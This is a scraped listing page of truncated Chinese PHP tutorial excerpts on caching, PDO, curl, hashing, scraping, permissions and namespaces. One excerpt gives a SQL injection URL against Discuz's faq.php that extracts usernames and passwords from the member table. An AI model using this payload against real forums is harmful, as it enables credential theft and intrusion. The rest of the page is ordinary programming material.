Time of Update: 2017-01-19
將PHP的執行頁面預先轉換成HTML,是所謂的PHP靜態化方法之一。其他還有模板替換法,opcache等方法。靜態化的作用:提高網站的響應速度,降低伺服器的負載;用於搜尋引擎的SEO;利用PHP輸出buffer直接寫成html,定時後台定時掃一遍網站,是比較容易實現的網頁靜態化。靜態化之前:<?phpfor($i=0;$i<1000;$i++){ echo
Time of Update: 2017-01-19
需要開啟php的pdo支援,php5.1以上版本支援實現資料庫連接單例化,有三要素 靜態變數、靜態執行個體化方法、私人建構函式 DPDO.phpclass DPDO{ private $DSN; private $DBUser; private $DBPwd; private $longLink; private $pdo; //私人建構函式 防止被直接執行個體化 private function __construct($dsn, $DBUser, $DBPwd,
Time of Update: 2017-01-19
注入代碼執行個體:複製代碼 代碼如下:http://www.jb51.net/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from
Time of Update: 2017-01-19
本文執行個體講述了PHP實現圖片自動清理的方法。分享給大家供大家參考。具體實現方法如下:<?php/** * 圖片清理排程器,刪除檔案下兩周沒有訪問的檔案 */$sRootPath = dirname(__FILE__);//define(TIME_LINE ,"-7 day");//刪除幾天沒有訪問圖片的時間$dir = $sRootPath .DIRECTORY_SEPARATOR.'upload';$iTimeLine = strtotime("-7
Time of Update: 2017-01-19
隨技術進步,簡訊收發領域按時間先後產生了三種模式:BLOCK MODE,基於AT指令的TEXT MODE,基於AT指令的PDU MODE。其中,TEXT MODE比較簡單,多款諾基亞手機均支援此款模式。西門子的手機大多數只支援PDU MODE。PDU 模式是收發簡訊的一種方法,簡訊本文經過十六進位編碼後被傳送。目前,PDU已取代BLOCK MODE。SMS是由Etsi所制定的一個規範(GSM 03.40 和GSM
Time of Update: 2017-01-19
使用方法:$urls = array("http://baidu.com", "http://21andy.com", "http://google.com");$mp = new MultiHttpRequest($urls);$mp->start();/* * Curl 多線程類 * 使用方法: * ========================$urls = array("http://baidu.com", "http://dzone.com",
Time of Update: 2017-01-19
最近看書,裡面提到了一些Hash演算法。比較有印象的是Times33,當時理解不是很透測,今天寫了段程式來驗證了一下。先上代碼:複製代碼 代碼如下:<?php/** * CRC32 Hash function * @param $str * @return int */ function hash32($str) { return crc32($str) >> 16 &
Time of Update: 2017-01-19
SplFixedArray主要是處理數組相關的主要功能,與普通php array不同的是,它是固定長度的,且以數字為鍵名的數組,優勢就是比普通的數組處理更快。看看我原生Benchmark測試:ini_set('memory_limit','12800M'); for($size = 10000; $size < 10000000; $size *= 4) { echo PHP_EOL . "Testing size: $size" . PHP_EOL; for($s =
Time of Update: 2017-01-19
錯誤資訊:Fatal error: session_start() [function.session-start]: Failed to initialize storage module: files (path: ) in C:\usr\phpMyAdmin\libraries\session.inc.php on line
Time of Update: 2017-01-19
說到採集,無非就是遠程擷取資訊->提取所需內容->分類儲存->讀取->展示也算是簡單"小偷程式"的加強版吧下面是對應核心代碼(別拿去做壞事哦^_^)所要採集的內容是某遊戲網站上的公告,如下圖:可先利用file_get_contents和簡單正則擷取基本頁面資訊整理下基本資料,採集入庫:<?php include_once("conn.php"); if($_GET['id']<=8&&$_GET['id']){
Time of Update: 2017-01-19
這兩天有一客戶定製了一個免登入發布模組,因為在模組中需要涉及到很多圖片下載的問題,考慮到效能問題,所以特別寫了一個CURL_MULTI遠程採集網頁的函數,以方便以後使用,估計以後都不會使用原來的單線程curl函數去foreach了,其效能對比很明顯的。同樣擷取我的部落格的十個不同網頁,curl_multi:4.5246081352234,file_get_contents:33.001797914505,將近8倍的效率,可想而知,如果在附件更多的情況下,效能差異就越明顯了,希望對您有所協助!複製
Time of Update: 2017-01-19
1.開場白此次所披露的是以下網頁中提出的問題所取得的測試結果:http://code.google.com/p/pasc2at/wiki/SimplifiedChinese<?phpfor ($i=0; $i<255; $i++) {$url = '1.ph' . chr($i);$tmp = @file_get_contents($url);if (!empty($tmp)) echo chr($i) .
Time of Update: 2017-01-19
今天在百度知道看php相關資料時發現一個網友問一個wordpress安裝提示錯誤的一個問題,說他在安裝wordpress安裝包時遇到這樣一個問題:Fatal error:Allowed memory size of 67108864 bytes exhausted (tried to allocate 76 bytes)
Time of Update: 2017-01-19
問題描述:使用以下php代碼建立了一個目錄,期望目錄的許可權是0777,實際結果是0755複製代碼 代碼如下:mkdir('./aa/',0777);分析與測試結果: 1.mkdir()函數指定的目錄許可權只能小於等於系統umask設定的預設許可權。如linux預設的umask一般0022, 即建立目錄的預設許可權是0755, 所以這時php mkdir('./aa/',0777) 得到目錄的許可權是0755.複製代碼
Time of Update: 2017-01-19
作為開發人員來講,要想寫webservice介面或者調用別人的webservice介面,首先需要瞭解什麼是webservice。簡單說, WebService就是一些網站開放一些服務出來, 也可以是你自己開發的Service, 也就是一些方法, 通過URL,指定某一個方法名,發出請求,網站裡的這個服務(方法),接到你的請求,根據傳過來的參數,做一些處理,然後把處理後的結果以XML形式返回來給你,你的程式就解析這些XML資料,然後顯示出來或做其它操作。寫webservice需要瞭解:基礎的
Time of Update: 2017-01-19
<table width="100%" border="0" cellspacing="1" cellpadding="0" style="background:#CCC"> <tr> <td align="center" bgcolor="#FFFFFF">第一列</td> <td align="center" bgcolor="#FFFFFF">第二列</td> </tr> <tr>
Time of Update: 2017-01-19
通常PHP都做http方式請求了,可以使用GET or POST方式接收參數,有些時候需要在shell命令下把PHP當作指令碼執行,比如定時任務。這就涉及到在shell命令下如何給php傳參的問題,通常有三種方式傳參。一、使用$argv or $argc參數接收複製代碼 代碼如下:<?php/** * 使用 $argc $argv 接受參數 */ echo "接收到{$argc}個參數";print_r($argv);執行複製代碼
Time of Update: 2017-01-19
This article is post on https://coderwall.com/p/ggmpfaconfigure: error: xslt-config not found. Please reinstall the libxslt >= 1.1.0 distribution複製代碼 代碼如下:yum -y install libxslt-develconfigure: error: Could not find net-snmp-config binary. Please
Time of Update: 2017-01-19
PHP的命名空間(namespace)是PHP 5.3中加入最重要的一個新特性,這個概念在C#中已經很早就有了,php中的namespace其實和c#的概念是一樣的。一. PHP的命名空間主要解決三種衝突的問題:常量,函數,類通俗理解:namespace就相當於是用來建一個目錄,將namespace下面的代碼放在該目錄裡面,與外面的區分開來。/*|---------------------------------|namespace樣本|@黑眼詩人 <www.chenwei.ws>|
Time of Update: 2017-01-19
本文執行個體講述了php將html轉成wml的WAP標記語言的方法。分享給大家供大家參考。具體實現方法如下:<?php//---------------------------------------// Html 標記WAP語言//----------------------------------------function html2wml($content){ //保留圖片 preg_match_all("/<img([^>]*)>/isU",